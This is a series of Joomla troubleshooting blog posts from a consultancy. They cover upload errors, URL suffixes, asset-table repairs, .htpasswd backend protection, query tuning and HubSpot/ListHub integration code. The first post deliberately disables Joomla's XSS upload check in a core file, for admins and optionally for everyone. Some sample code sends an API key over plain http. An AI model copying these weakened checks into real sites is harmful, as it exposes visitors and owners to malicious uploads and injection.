  • Next to Legal Extensions (File Types), add html as a legal type.

We thought that the problem lied in the fact that files with a .html extension are not allowed by default in Joomla, and that they must be explicitly allowed in the Media Manager‘s settings. While that was true, it didn’t solve the problem…

A few minutes later, she emailed us telling us that she already did that. So we investigated the problem much more thoroughly, and we discovered something new, something that we didn’t know of before: Joomla, for security reasons, doesn’t allow any file that contains HTML tags to be uploaded, and that is enforced in the file media.php, which is located under the libraries/cms/helper. If you read that file (start at line 190), you will know that Joomla scans the uploaded file for most known HTML tags and immediately returns the error if any tag is found. What makes this security rule even more aggressive is the fact that it doesn’t care about the file type: even if the file is called myimage.jpg it is checked for HTML tags. Hmmm…

Now, since the users using the backend were trustworthy, we were able to disable this security rule only for the backend. We did that the following way:

  • We opened (using FTP) the file media.php located under the libraries/cms/helper folder.
  • We searched for the following line:

    $xss_check = file_get_contents($file['tmp_name'], false, null, -1, 256);

    Just above it, we added the following line:

    $app = JFactory::getApplication();
    if ($app->isAdmin())
    	return true;

  • That’s it! Doing the above allowed the developer to upload files with HTML content to the website. The problem is solved!

But what’s with “IE XSS” error?

We know, the error doesn’t really make any sense when you take into consideration that the developer was not even using IE (and, of course, was not experimenting with XSS attacks against her employer’s website). We suspect that this security rule was added because of an exploit that is specific to Internet Explorer, hence the name (by the way, this security rule didn’t exist in versions of Joomla older than 3.2.0).

If you’re seeing the same problem while trying to upload an HTML file to your Joomla website using the Media Manager, then try the above solution, it should work. If you’re facing this problem in the frontend, then you will need to just add return true; (instead of the 3 lines above), but keep in mind that you may be opening your website to security exploits, and we don’t recommend it. If you’re in a dilemma as to whether you should implement this solution or not, and you need help, then please contact us. We are super experienced in Joomla, our work is super clean, our rates are super cheap, and we are always super ready!

How to Change Joomla’s SEF Suffix From “html” to “php”

Note: The solution presented in this post involves a modification to a core Joomla file. Please proceed with caution and keep in mind that a core modification can be wiped out with a future Joomla update, potentially breaking your website (or, at best, breaking your website’s links).

Every now and then, a client calls us and tells us that his company wishes to have the suffix of their website’s links to be something other than html. Usually, the client wants to change the suffix from html to either php or htm. Nearly every time we had this call, the client expected to be able to do this by changing a setting in Joomla’s backend. Of course, the first thing that we do is that we tell the client that this is not possible – and that core modifications are required in order to do that. We then get approval from the client to implement the solution for him and we proceed to work!

Now, since we are at itoctopus super-generous with an obsession of knowledge sharing, we are going explain the process of changing the suffix on a Joomla website from html to php in this post. Here’s how:

  • Open the file site.php which is located under the libraries/cms/router folder.
  • Find this line (should be line 110 in Joomla 3):

    $vars['format'] = $suffix;

    Replace it with:

    $vars['format'] = 'html';

  • Find this line (should be line 144):

    if ($format = $uri->getVar('format', 'html'))

    Replace it with:

    if ($format = $uri->getVar('format', 'php'))

  • That’s it! That’s really it! There’s nothing more to do!

This seems super easy! Is there a caveat?

Well, actually there is. The problem with the above method is that you will have duplicate links, for example, both http://www.[your-joomla-website].com/page-1.html and http://www.[your-joomla-website].com/page-1.php will work (obviously, Google will not like that). However, the solution to this problem is very straightforward. All you need to do is to add the following line to the beginning of your .htaccess file:

RedirectMatch 301 (.*)\.html$ http://www.[your-joomla-website].com$1.php

The above line will solve the problem.

Will the above method work for a suffix other than “php”?

If you want to change the suffix of the links on your Joomla website from html to anything else, then just replace php in the code above to the suffix of your choice. You need, however, to make sure that you add the following line to your .htaccess file (to tell Apache to process any URL with an unknown suffix as HTML):

DefaultType text/html

If you need help implementing the solution above, then look no further as we are here to help! Just contact us and let us prove to you how efficient, knowledgeable, and affordable we are!

Joomla 3: No Save Button on “Add Contact” Page

One of our very large clients had a weird problem on a newly migrated Joomla website: everything was working properly on the website, except for the fact that they couldn’t add any contact (in the Contacts component) because the “Save” button wasn’t there. In fact, the only button that they could see was the “Cancel” button.

Although this was the first time that we saw this problem, we had a hunch that its root cause had something to do with the assets table. So, we clicked on the Categories tab in the Contact Manager,and then we clicked on the Rebuild button on the top right, with the hope that that would solve the problem. Unsurprisingly, it didn’t. We knew it wasn’t that simple, but we still believed that the problem lied somewhere in the assets table.

So we logged in to phpMyAdmin and checked the #__assets table there, and we immediately realized what the problem was. There wasn’t a single entry referencing any contact category in that table. It seems when the website was migrated, the references to contact categories where not created in the #__assets table.

So, how did we fix the problem?

Fixing the problem was super easy. All we needed to do was to go back to Joomla’s backend, open each and every contact category that the website had, and then save it (saving the contact category [and any Joomla category] creates the right entry in the assets table).

If you have the above problem on your website (in the Contacts extension or in any other extension), then try rebuilding the categories and re-saving them. Most likely this will fix the problem. If it doesn’t, then the problem might be somewhere else, and you might need some Joomla experts (like, ahem, us) to handle it. Just contact us and we’ll address the problem for you in as little time as possible and for a super affordable fee!

How to Password Protect the Backend of a Joomla Website with .htpasswd (and .htaccess)

Early last week, we had a case where a malicious extension was subtly installed on the Joomla website for one of our clients. Luckily, our extra security measures prevented actual harm, but still, we were confident that if the person who installed that extension was a bit more persistent, he could have wiped out the entire website.

What was surprising, though, was not the fact that that person was lazy (generally malicious users are very, very lazy), but it was the fact that he was able to install the malicious extension on a super protected Joomla website. We needed to find out how it was done to prevent it in the future…

So, we examined the logs thoroughly, and it didn’t take us log to find out how that malicious extension was installed: it was installed through Joomla’s backend. So, our next job was to check how the user gained access to the backend, and it also didn’t take us long to find out that he logged in with a valid username and password, which meant that the username and password of one super user were compromised! What was even worse was that there was no evidence that the malicious user tried to login through brute force, which meant that he knew the username and password in advance! A horrible thought, probably more horrible than the reaction of Jimmy the Tulip after realizing that there’s mayonnaise in his burger! Why is it that horrible, you might wonder? Well, because you can’t do much to protect a website with a compromised set of credentials other than just changing the password!

But we decided to do more, we decided to protect the website with an additional login: the .htpasswd login! In case you’re wondering what it is, the .htpasswd login is an Apache based login that will protect a specific directory on the website with a username and a password. Here’s how we did it:

  • We generated the .htpasswd file using an online tool (just google “generate .htpasswd” and typically the first link is what you want). You can also generate the htpasswd file from the command line if you have root access to the server hosting your Joomla website. (Note: We re-generated the .htpasswd using the command line for that website as we weren’t very comfortable using a set of credentials that we generated using an online tool).
  • We copied the .htpasswd file to the /home folder on the server and we ensured that Apache (e.g. the Joomla website) has read access to that file.

  • We created an .htaccess file under the administrator directory of the Joomla website and we added to it the following lines:

    AuthName "Authorisation Required"
    AuthUserFile /home/.htpasswd
    AuthType Basic
    Require valid-user
    ErrorDocument 401 "Authorisation Required"

  • That’s it! Now anyone who wants to login to the website has to provide an additional set of credentials!

We know – this is ridiculously easy! What’s even more exciting is that any brute force attack will be automatically blocked by the CSF (ConfigServer Security and Firewall) firewall after (usually) 5 failed attempts.

But how did the malicious user know the username and the password of the super user?

We’re not exactly sure, but we’re inclined to say it was because one of the major staff members had a virus on his machine, which probably transmitted the Joomla credentials to the malicious user. Of course, you might say that the same can happen for the .htpasswd credentials, and our answer is “you’re correct”, but the company implemented a policy of daily scanning their entire network of PCs ever since the incident, immediately disconnecting any infected machine.

We hope that you found this post useful! If you did, then we did a good job! If, however, you feel that you need help password protecting your Joomla website with an .htpasswd file, then you can just contact us. Our rates are affordable, our work is quick and professional, and we love, we really love, our clients, and our clients love us!

Unable to Delete Items in Joomla’s Trash

Note: This post applies to Joomla 2.5 only. If you’re running Joomla 3.x and you can’t delete articles from Joomla’s trash, then please let us know in the comment section of this post as the below solution will not work for you.

Yes – we know – our regular readers might say that we have discussed this before. But back then, we only thought that the inability to delete items from Joomla’s trash was a user error, and not an application error. Obviously, we were wrong – which explains why we are writing another article on the same exact subject!

So, earlier this week, a new client with a Joomla 2.5 website called us and told us that he’s not able to empty Joomla’s trash, even after ensuring that he filtered for “Trashed” articles before trying to empty the trash. We checked his website and we were able to easily verify the claim. Interesting…

So, we dug deeper and we found out that the issue was caused by the fact that many of the trashed articles did not have an entry in the assets table. So, just opening and saving one of those trashed items allowed us to remove it completely from the trash (note that when you open and save an item, Joomla re-creates its entry in the assets table if that entry is not already there).

But the problem is that our client literally had 20K trashed articles that need to be deleted and the absolute majority of these articles didn’t have an entry in Joomla’s assets table. Of course, resolving this problem is as easy as running the below query on the #__content table:

DELETE FROM #__content WHERE `state`='-2';

(Where #__ is the database prefix of your Joomla website as defined in its configuration.php file).

But doing the above is not what our client wanted, since he didn’t want to call us to run the above query each time he wanted to empty his trash. Additionally, executing the above query will affect the data integrity in the assets table, since some content item entries will remain there, but with no actual articles to be associated with.

So, our next job was to find where Joomla is checking for the article’s entry in the assets table before deleting it… It took us some time to find where that check was done: it was in the table.php file (which no longer exists in Joomla 3.x) under the libraries/joomla/database folder. The check was done in the function delete of the aforementioned file, specifically in these lines:

if ($this->_trackAssets)
{
	// Get and the asset name.
	$this->$k = $pk;
	$name = $this->_getAssetName();
	$asset = JTable::getInstance('Asset');

	if ($asset->loadByName($name))
	{
		if (!$asset->delete())
		{
			$this->setError($asset->getError());
			return false;
		}
	}
	else
	{
		$this->setError($asset->getError());
		return false;
	}
}

So, in order to address the problem, we modified the above code to:

if ($this->_trackAssets)
{
	// Get and the asset name.
	$this->$k = $pk;
	$name = $this->_getAssetName();
	$asset = JTable::getInstance('Asset');

	if ($asset->loadByName($name))
	{
		if (!$asset->delete())
		{
			$this->setError($asset->getError());
		}
	}
	else
	{
		$this->setError($asset->getError());
	}
}

Note that the return false; statement was removed in the fixed code.

But isn’t that a core change?

Yes – it is. But we assume that if one is still running Joomla 2.5, then he should expect core modifications to address some bugs. If you’re not comfortable with doing the core change, then you can just set up a cron that will regularly delete articles with a state of -2. Note that if you would like to preserve the integrity of the assets table, then you you should also delete the associated entries in the assets table.

But why would a content item not have an entry in the assets table?

Typically, there are 2 reasons for this to happen:

  1. You are deleting the content item entries from the assets table in order to optimize the content creation process on your Joomla website as described here.
  2. One of your extensions is creating content items (articles) in the Joomla CMS without adding an associated entry in the assets table.

Now, if you only have a few articles that you can’t delete from the trash, then just open these articles, save them, and then try to delete them again. If you have thousands of articles that you can’t delete and you are running Joomla 2.5 (or 1.6, or 1.7), then try the core modification above; it should work for you! If you’re not comfortable with core modifications, then just contact us and we shall implement an alternative solution for you in very little time and for a very small fee!

Why It’s Important to Have Contiguous IDs in Joomla Tables

One of our newer clients called us yesterday morning and told us that his Joomla website was running very slow. So we checked his website and we immediately knew the cause of the problem, Mosets! If you are a regular reader of our blog, then you probably know that we don’t think highly of this extension – not only because it’s unoptimized by default, but because its code is super messy. But we’re not here to whine, we’re here to fix problems!

So we indexed the should-be-indexed-but-not fields in Mosets’ tables, and that changed things dramatically (in a positive way, of course). However, the website was still running slow, not as slow as before, but still, it was noticeably slow. So, again, we checked the slow query log, and we noticed that there are still many slow queries related to Mosets. Hmmm…

A closer examination of these queries revealed the cause of the slowness, which is the LIMIT command in MySQL. You see, that Mosets instance had over 300k rows in its main table, and when the LIMIT command was used on that table for higher ranges, the slowness occurred. The cause of this problem is the way MySQL handles the LIMIT command (it scans the table until it reaches the starting position of the LIMIT, which means that the higher that starting position is, the more time the query will take to execute).

So, how did we solve the problem?

Usually, when we have a performance bottleneck caused by the MySQL LIMIT command, we add a filter to the query that will start searching only the rows with IDs higher than the starting limit in the LIMIT command. In other words, we modify this query:

SELECT * FROM #__table LIMIT 50000, 30

to this one:

SELECT * FROM #__table WHERE id >= 50000 LIMIT 0, 30

The second query is much, much faster than the first one – but there is one major caveat: The IDs have to be contiguous (e.g. there shouldn’t be any gaps between the IDs of consecutive rows) and the first ID must be 1, because if this is not the case, then the optimized query will yield wrong results.

In order to solve this problem for our client we created a PHP script that made the IDs of the offending table contiguous, with the first ID starting at 1. Of course, the job wasn’t very simple there were other tables using these IDs, and because the content of the Joomla website was also using the old IDs. What made things even more complex was that the links too had to be redirected to the new links (since the old links contained the IDs). Needless to say, it was a very painful experience but the rewards were enormous: the website now runs at lightning fast speed (we did some other optimizations as well) and the client was exalted!

Now, Mosets was just an example, but any table in Joomla (whether a core table or a non-core one) can cause the same issues when using LIMIT commands on higher ranges. So, if you need help making the IDs of a specific table contiguous, then look no further! We have done it before and we know we can do it for you! Just contact us and rest assured that we won’t charge you much and that you will be a very, very happy client!

How to Display the Time for the Last Logged In Users

A client called us earlier this week and told us that when he logs in to his Joomla website and he checks which users are logged in to the website, he only sees the login date. Given that all his users login nearly every day, just seeing the date wasn’t enough for him. He also wanted to see the time at which these users logged in. He said that previous versions of Joomla displayed the date and the time, but Joomla 3.x did not!

In all fairness, we didn’t notice this issue until the client told us about it. So, we logged in to the backend of his Joomla website and then went to the Extensions -> Module Manager, and then selected Administrator from the left dropdown (directly under Filter), and then searched for the module Logged-in Users (this module is the one responsible for displaying this information). To our disappointment, the module didn’t have a setting to show the time, but rather it only allowed us to change 2 things: 1) how many logged in users can be displayed at once, and 2) whether we wanted to display the username or the name of the last logged in users.

But, at itoctopus, we always find a solution to everything. So, in order to accommodate our client’s request, we opened the file default.php located under the administrator/modules/mod_logged/tmpl and we searched for this line:

<i class="icon-calendar"></i> <?php echo JHtml::_('date', $user->time, JText::_('DATE_FORMAT_LC4')); ?>

(Note: The above line could also be: <i class="icon-calendar"></i> <?php echo JHtml::_('date', $user->time, 'Y-m-d'); ?> in previous versions of Joomla 3).

We then changed it to the following line:

<i class="icon-calendar"></i> <?php echo JHtml::_('date', $user->time, 'Y-m-d H:i:s'); ?>

We checked the website and, unsurprisingly, it was now displaying both the date and the time (to the second!). The problem is solved!

But, are there any caveats?

Well, unfortunately, there is this one small caveat. See, the above is a core modification, which means that if you update your Joomla website, the module may be reverted back to what it was (e.g. displaying only the date, and not the time). In order to avoid that, you will need to override the layout by copying the aforementioned default.php from the administrator/modules/mod_logged/tmpl folder to the administrator/templates/[your-joomla-admin-template/html/mod_logged/ folder and modifying it there. This will ensure that any updates to your Joomla website will not overwrite your changes.

If you want to display the date and the time of the last logged in users on the homescreen of the backend of your Joomla website, then all you need to is to follow our super simple guide above. If you think it’s a bit on the technical side and don’t want to do it yourself, then go ahead and contact us. Our rates are super affordable, our work is super professional, and all of us are super duper friendly!

How We Fixed a Very Weird Blank Page Problem on a Joomla Website

A large company (that we have worked with before) emailed on us on Friday morning and told us that they were seeing a blank page on their homepage. When we visited the website we noticed that the page was almost blank. In fact, there was some content on the website. But the main component and all the modules were not showing. Hmmm…

The backend was working and so we logged in and we set the error reporting to Maximum in the global configuration settings. We then cleared the cache and checked the website but the problem was still there. Yet another hmmm…

So we followed our guide in order to ensure that all the errors were displayed, but still, the same blank page appeared. Again, the page wasn’t entirely blank, a JavaScript widget appeared on the bottom right (that JavaScript widget was actually a plugin).

We started suspecting the plugins – and so we switched the template to another template in order to see what happens, and what happened was that the website worked, and this is a definitive sign that the problem is not caused by a plugin (since the same enabled plugins run on all templates).

After switching back to the original template, we realized that we were left with 3 suspects: The component the home menu item points to, one of the modules, or the template. The component that was used on the homepage was a core Joomla component, which is the com_content component (the home menu item was pointing to the “Featured Articles” view). Additionally, none of the other pages were working (and some of the other pages were using different components) so we dismissed the component as a potential suspect. So, we moved on to the next suspect: the modules. The modules were actually quite easy to rule out, as the only thing that we needed to do was to run the following query in phpMyAdmin after selecting the database that powers the Joomla website:

UPDATE `#__modules` SET `published` = 4 WHERE `published` = 1 AND `client_id` = 0;

As you can see in the above query, we set all the published field of all the enabled modules to 4 (we didn’t want to set it to zero because if we did that, then we will re-enable the intentionally unpublished modules once we re-enable the modules that we just unpublished).

We then visited the website and it still didn’t work despite the fact that we disabled all the modules (we re-enabled the modules that we disabled using the following query: UPDATE `#__modules` SET `published` = 1 WHERE `published` = 4 AND `client_id` = 0; ). This meant that the problem was definitely the template. A closer look at the template revealed that it was a Helix template with some corrupt settings. So we asked the system administrator to provide us with a previous backup copy of the database, and then we copied the template’s settings from the #__template_styles table from the backup database to the #__template_styles table on the new database. That fixed the problem!

But why did the problem happen in the first place?

We don’t know what caused the data corruption to happen. We just know that it happened. We do suspect, however, that it was caused by a bug that is triggered when saving the settings to the template. Unfortunately, we were not commissioned to investigate further on the cause of the issue so we can’t give a definitive answer.

If you’re having the same problem on your website, then try following the above process in order to narrow down the location of the problem. If you think that our process is not that simple, or if you think it’s too technical, or if you just think that you need help, then please, contact us! We are here to help. Our rates are affordable, our work is neat and professional, and you can always, always rely on us!

Joomla Administrator Login Redirects Back to Login Page Without Errors

Yesterday, we had a new customer, from Denmark, with a very nice Joomla website, asking us to fix one of the most annoying Joomla problems. The problem was that whenever he tried to login from the backend, he was getting redirected back to the login page without any error. He was confident that the username and the password were correct and he was very troubled by the fact that he wasn’t able to login to his own website.

When the backend login redirects back to the login page with no errors, then this means that the problem is not with the credentials but somewhere else. Luckily, we did have the same exact symptoms before on another Joomla website and so we thought we’d be able to fix the issue instantly. But we were wrong…

The problem had nothing to do with a disabled plugin or with the session.save_path. The problem had to do with something else. So, what we did was that we set the $error_reporting variable to “maximum” in the configuration.php file (which is located under the root directory of the Joomla website) and we tried again. Of course, it still didn’t work, but this time we saw the following messages:

Notice: session_start(): Server localhost (tcp 20046) failed with: Connection refused (111) in /home/[user]/public_html/libraries/joomla/session/session.php on line 665

Warning: session_start(): Cannot send session cache limiter – headers already sent (output started at /home/[user]/public_html/libraries/joomla/session/session.php:665) in /home/[user]/public_html/libraries/joomla/session/session.php on line 665

Hmmm! It seems that for some reason, Joomla was trying to store the sessions in an alternative location (usually, Joomla stores the sessions in the database). So we took a closer look at the configuration.php file and we noticed the following line:

public $session_handler = 'memcache';

Aha! Joomla was trying to use memcache to store the sessions, but it was unable to (seemingly because of connection issues, or maybe because memcache doesn’t even exist on that server).

So, in order to solve the problem, we just switched the session handler to database, by changing the above line (again, in the configuration.php file) to:

public $session_handler = 'database';

And that fixed the problem!

But, what caused the session handler to switch to memcache?

We’re not 100% sure, but we suspect it was a user error (e.g. the Joomla super user mistakenly changed it to memcache).

So, if you’re trying to login to your website but you keep getting redirected to the login page (with no errors being displayed), then a good start would be to check the $session_handler variable in your configuration file. If that doesn’t help, then check the #__extensions table (in the database powering your Joomla website) and make sure that the appropriate plugins are enabled (mainly the plg_user_joomla). If that still doesn’t fix the problem, then we’re here to help. All you need to do is to contact us and we’ll fix the problem for you as soon as we can and for a really, really competitive fee!

“No Parent” Is Missing from the “Parent” Dropdown When Trying to Add a New Category in Joomla

A new client of ours called us today and told us that he’s facing a major challenge after migrating his Joomla website from 1.5.26 to 3.4.1. He told us that the No Parent option seems to be missing from the Parent dropdown in Edit Category mode, which meant that whenever he tries to add a new category anywhere on the Joomla website, that category must be the child of another category. In other words, he can’t have new top level categories on his website.

Of course, the first thing that we tried to do was to rebuild the categories by clicking on the Rebuild button in the Category Manager page. But, instead of fixing the problem, it threw the following error (by the way, the error was in green [which typically means success], instead of red – weird):

Failed rebuilding Categories tree data.

Hmmm! That error meant that there was corruption at the database level in the #__categories table. So, we logged in to phpMyAdmin, selected the database that powers the website, and checked the table #__categories. Unsurprisingly, we noticed that the ROOT item is missing.

So, what is the ROOT item?

The ROOT item (or the ROOT row, or the ROOT entry) is a row that must exist in all the tables where parenting is available (e.g. an item can be the child of another item – there are two core tables that must have a ROOT entry: the #__assets table and the #__categories table). That row must have the following characteristics:

  • It must have an ID of 1.
  • Its parent must be 0 (e.g. it doesn’t have any parent).

  • Its lft (left) value is 0, and its rgt (right) value is the maximum ID in the table + 1.

So, in order to fix the problem, we executed the following query to re-create the ROOT item:

INSERT INTO `#__categories` (`id`, `asset_id`, `parent_id`, `lft`, `rgt`, `level`, `path`, `extension`, `title`, `alias`, `note`, `description`, `published`, `checked_out`, `checked_out_time`, `access`, `params`, `metadesc`, `metakey`, `metadata`, `created_user_id`, `created_time`, `modified_user_id`, `modified_time`, `hits`, `language`, `version`) VALUES
(1, 0, 0, 0, 10000, 0, '', 'system', 'ROOT', 'ROOT', '', '', 1, 0, '0000-00-00 00:00:00', 1, '{}', '', '', '{}', 42, '2011-01-01 00:00:01', 0, '0000-00-00 00:00:00', 0, '*', 1);

The maximum ID, which is in bold red in the above query, is the result returned by executing the following query:

SELECT MAX(id) + 1 FROM `#__categories` WHERE 1

After doing the above, we tried clicking on the Rebuild button again, and, to our joy, we saw the following (success) message:

Categories tree data successfully rebuilt.

Yey!

We then tried to add a new category and, unsurprisingly, the No Parent option was available once again! The problem is officially solved!

But, what caused the problem in the first place?

We think that the problem was caused by the migration tool that our client used to migrate the data. We don’t want to disclose the name of that tool, but that’s one of the reasons why we have our own scripts for migrating Joomla websites.

In closing, if you have the same problem on your Joomla website, then check if the ROOT entry exists in the #__categories table. If it doesn’t, then you should re-add it using the above query. If it does, then the problem might be elsewhere – in that case, go ahead and contact us and we’ll try our absolute best to solve the problem for you quickly and cheaply!

Subqueries: A Major Cause for Performance Issues on a Joomla Website

We were commissioned yesterday to optimize a large Joomla website. That website was using FlexiContent as its content engine. In case you don’t know, FlexiContent extends Joomla’s core content management system, and does not replace it (unlike K2). The main reason why our client was using FlexiContent was that it supports multiple categories (per article). We aren’t hugely fond of that extension…

In any case, the website was super slow. So, as usual, we checked the slow query log and we noticed that the following query was taking some insanely long time to execute:

SELECT * from `#__flexicontent_content_hits` WHERE content_id < (SELECT max(content_id) - 200 FROM `#__flexicontent_content_hits`);

As you can see, the above query is technically a query within a query (which is called a subquery). While this works, it is super inefficient since MySQL is not the best RDBMS when it comes to subqueries (other RDBMS‘s fair much better when using subqueries).

But why is MySQL slow for subqueries?

MySQL executes all its queries outside-in (that’s the opposite of inside-out, in case you’re wondering, but you’re probably not). In other words, MySQL runs the outside query first, and then, it will execute the inside query for every single row returned from the outside query, which means that if the #__flexicontent_content_hits table has 4,000,000 rows, then this will technically mean that the above query is the equivalent of 4 million queries. Not good at all! In fact, we think that the client was lucky that his website still worked (albeit very slowly) considering the number of rows he had in that table.

So, what did we do to fix the problem?

In order to fix the problem, we split the query into two queries (the following is a pseudocode):

FIRST_QUERY_RESULTS = SELECT max(content_id) - 200 FROM `#__flexicontent_content_hits`;
SECOND_QUERY_RESULTS = SELECT * from `#__flexicontent_content_hits` WHERE content_id < FIRST_QUERY_RESULTS;

The above made a huge difference on the server’s load, and, ultimately, on the website’s speed. This is because the above method meant that the second query consisted only of one query, and not of n queries, where n is the number of rows in the `#__flexicontent_content_hits` table.

So, we have a message to all Joomla developers out there (and to all LAMP developers): Do not use subqueries, they create horrible performance issues and the alternative is very, very simple – just split your query into two and that’s it.

Now, if your website suffers from performance issues (that may or may not be related to subqueries), then just contact us and you can rest assured that your website will become quicker than ever with us. Keep in mind that both our very affordable fees and our love apply!

How to Display Page Titles from HubSpot on Your Joomla Website

This weekend we had a very interesting task. We were told, by one of our top clients, to display a list of all their Pages from HubSpot, along with a link to them. As usual, we obliged, and we were glad that they gave us this task, because it was something that we haven’t done before.

The first thing that we needed to do was to get used to and understand HubSpot‘s API – which we first thought would only work after creating a HubSpot application – but we later discovered that this wasn’t needed. All that we needed to do was the following:

  • Create an API key on HubSpot which can be used to authenticate the API requests. A HubSpot API key can be acquired from this link (note that you must be logged in to HubSpot before visiting that link).
  • Grab all the pages from HubSpot using the COS Page Publishing API.

  • Filter the pages (according to client-specific requirements that we won’t mention here).

  • Display these pages in a module on the website’s homepage.

Of course, the above steps are definitely not exhaustive, but they are the main steps.

So, what was the code that we used to grab the data?

We grabbed the data using the following PHP function (which we placed in a newly created module called mod_hubspot):

function getHubSpotPages($apiKey){
	$hubSpotJson = file_get_contents('http://api.hubapi.com/content/api/v2/pages?hapikey='.$apiKey);
	$data = json_decode($hubSpotJson,true);
	$hubSpotList = array();
	if (isset($data['objects'])){
		$data = $data['objects'];
		for ($i =0; $i < count($data); $i++){
			$item = new stdClass();
			$hubSpotList[$i]= $item;
			$hubSpotList[$i]->link = $data[$i]['published_url'];
			$hubSpotList[$i]->title = $data[$i]['name'];
		}
	}
	return $hubSpotList;
}

The above function returned an array of HubSpot pages, where each page consists of a title and a link. Of course, we could have retrieved more information, but that’s what our client wanted. Note that the $apiKey parameter should be the HubSpot API Key created in the first step above.

What was really impressive for us is that the above function worked quickly, very quickly. It didn’t delay the page loading at all, but we decided anyway to cache the module’s results for a whole day – just in case (we don’t like surprises that are caused by a sudden under-performance of a 3rd party application).

If you want to grab data from HubSpot and display it on your Joomla website, then the above should be very helpful. If you need more help, then we are ready to help! Just contact us and let us know your requirements, and we will surely implement them for you quickly and for a very affordable fee.

Integrating ListHub with Joomla

Lately, we spent a lot of time working on a project integrating ListHub, the famous MLS platform, on an existing Joomla website. The project consisted of finding “special” listings (those listings with special criteria) within ListHub‘s listings and then displaying them on the site. Despite the fact that it was our third project that consisted of integrating ListHub with Joomla so far this year, we still had quite a few challenges particularly when it came to grabbing the data from ListHub and then parsing that data.

Before delving into the challenges, let us briefly explain what we did in the project:

  • We created a Joomla component called com_realestate (we were going to call it com_listhub, but we then changed our minds because it was possible that our client would then switch to another MLS provider).
  • We created a hash-protected view that was responsible for grabbing the data (e.g. downloading the XML file from ListHub‘s site).

  • We then created another view, which was also hash-protected, that was responsible for parsing the XML file downloaded in the previous step and then storing the selected entries (and information) in the database. (Note that these two views can be merged into one view – but we chose to separate them into two).

  • We created a paginated view that displayed a listing of all the entries that were stored in the database (with sorting options).

  • We created a search plugin that scanned all the entries for the searched text, eventually feeding the search results to the view created in the previous step.

  • We then created a search module which made use of the search plugin above.

  • Finally, we created a view that listed the details of a single real estate entry in the database.

Of course, the project was much, much more than the above but the above information is essentially what we can share with the public…

So, as you can see, the project is pretty much a straightforward MVC Joomla extension, with the exception of the first couple of steps (which are always a challenge). So, in order to make things easier for those who would like to do a similar project, we decided to share the main code for the first two steps!

In order to grab the data the XML file from ListHub, we used the following code (note that we are using cURL, so make sure that you have the cURL PHP module installed on your environment):

$jinput = JFactory::getApplication()->input;
$hash = $jinput->get('hash', '');
if ($hash != '[the_secret_hash]')
	die('Unauthorized...');

error_reporting(E_ALL);
set_time_limit(0);
define('XMLNS_COMMON', 'http://rets.org/xsd/RETSCommons');


//The following 5 variables are typically stored in the extension's settings and not hardcoded into the code.
$url = 'https://feeds.listhub.com/pickup/[ourclient]/[ourclient].xml.gz';
$username = '[ListHub username]';
$password = '[ListHub password]';
$filePath = JPATH_SITE.'/xmldata/listhub.xml.gz';
$xmlFilePath = str_replace('.gz', '', $filePath); 


//Get the gzipped file from ListHub
$downloadedFile = fopen ($filePath, 'w+');
$curlHandler = curl_init();
curl_setopt($curlHandler, CURLOPT_URL, $url);
curl_setopt($curlHandler, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curlHandler, CURLOPT_USERPWD, "$username:$password");
curl_setopt($curlHandler, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curlHandler, CURLOPT_FILE, $downloadedFile);
$result = curl_exec($curlHandler);
$info = curl_getinfo($curlHandler);
curl_close($curlHandler);
fclose($downloadedFile);

//Now that we have the gzipped file, we will need to extract it.
$bufferSize = 4096;
$gzippedFile = gzopen($filePath, 'rb');
$xmlDownloadFile = fopen($xmlFilePath, 'wb'); 
while(!gzeof($gzippedFile)) {
  fwrite($xmlDownloadFile, gzread($gzippedFile, $bufferSize));
}  
fclose($xmlDownloadFile);
gzclose($gzippedFile);

The above code will download the zipped XML file (from ListHub‘s server) containing all the data that ListHub has made available for a particular account. Once the zipped XML file is downloaded, the last part of the code will extract it and we will have a pure, unzipped XML file containing all the listings.

Now that we have downloaded and unzipped the XML file, then we need to parse it. Typically, parsing an XML file is not that hard, but if you want some buried values from within a complex XML file, then it’ll be hard enough.

Here’s how we parsed the XML file:

//Get the XML data from the XML file
$xmlListHubListings=simplexml_load_file($xmlFilePath) or die("Error: Cannot create object");
$allListHubListings = $xmlListHubListings->Listing;

//Loop through all the XML listings
for ($i = 0; $i < count($allListHubListings); $i++){
	$singleListing = $allListHubListings[$i];
	$listingNumber = addslashes($singleListing->MlsNumber);
	$listPrice = addslashes($singleListing->ListPrice);
	$listingKey = addslashes($singleListing->ListingKey);
	$listingUrl = addslashes($singleListing->ListingURL);
	$bedrooms =  addslashes($singleListing->Bedrooms);
	$bathrooms =  addslashes($singleListing->Bathrooms);
	if (isset($singleListing->Photos) && isset($singleListing->Photos->Photo)){
		$imageUrl = addslashes($singleListing->Photos->Photo[0]->MediaURL);
		$numberPhotos = count($singleListing->Photos->Photo);
	}
	else{
		$imageUrl = '';
		$numberPhotos = 0;
	}
	$address = $singleListing->Address->children(XMLNS_COMMON);
	$addressStreet = addslashes($address->FullStreetAddress);
	$addressCity = addslashes($address->City);
	$addressState = addslashes($address->StateOrProvince);
	$addressPostalCode = addslashes($address->PostalCode);
	$longitude = '';
	$latitude = '';
	if (isset($singleListing->Location)){
		$longitude = addslashes($singleListing->Location->Longitude);
		$latitude =  addslashes($singleListing->Location->Latitude);
	}
}

The above code will loop through the extracted XML file that was created in the previous step. It will loop through all the listings and retrieve the main values in each listing (of course, there are many more values that can be retrieved from the XML file, so it's really up to your requirements). An important note here is that ListHub requires a minimum amount of information to be displayed on the site (for example, they require that you include the name of the Real Estate agent/company, which is not retrieved in the above code).

By the way, if you want to refresh the ListHub data on your website daily, then you will need to include a call to the above views in your cron. That's how we do it anyway... Of course, you can hire a person who will refresh those views every day, but that would be completely inefficient! (OK - that was a joke...)

Now, in this post, we have tried to make things much, much easier for those trying to integrate ListHub with Joomla (we honestly think that the above code, with just one little exception, can be used in any other CMS, including WordPress and Drupal). We hope we helped! In case you need more help or in case the above code did not work for you for one reason or the other, then we're here for you! Just contact us and we'll integrate ListHub for you on your Joomla website quickly, professionally, and for a very affordable fee!

How to Change K2’s Maximum Upload Size

We can never praise K2 enough – we think it handles content even better than Joomla (we did write a post about its advantages). It’s not perfect though, and it does, occasionally, suffer from some inconsistencies.

For example, if you’re editing an item in K2, and you scroll down to the bottom of the editor, and then you click on the Image button, then you’ll notice that the maximum upload size of the image is the same as that of Joomla (which is set at the Media Manager level).

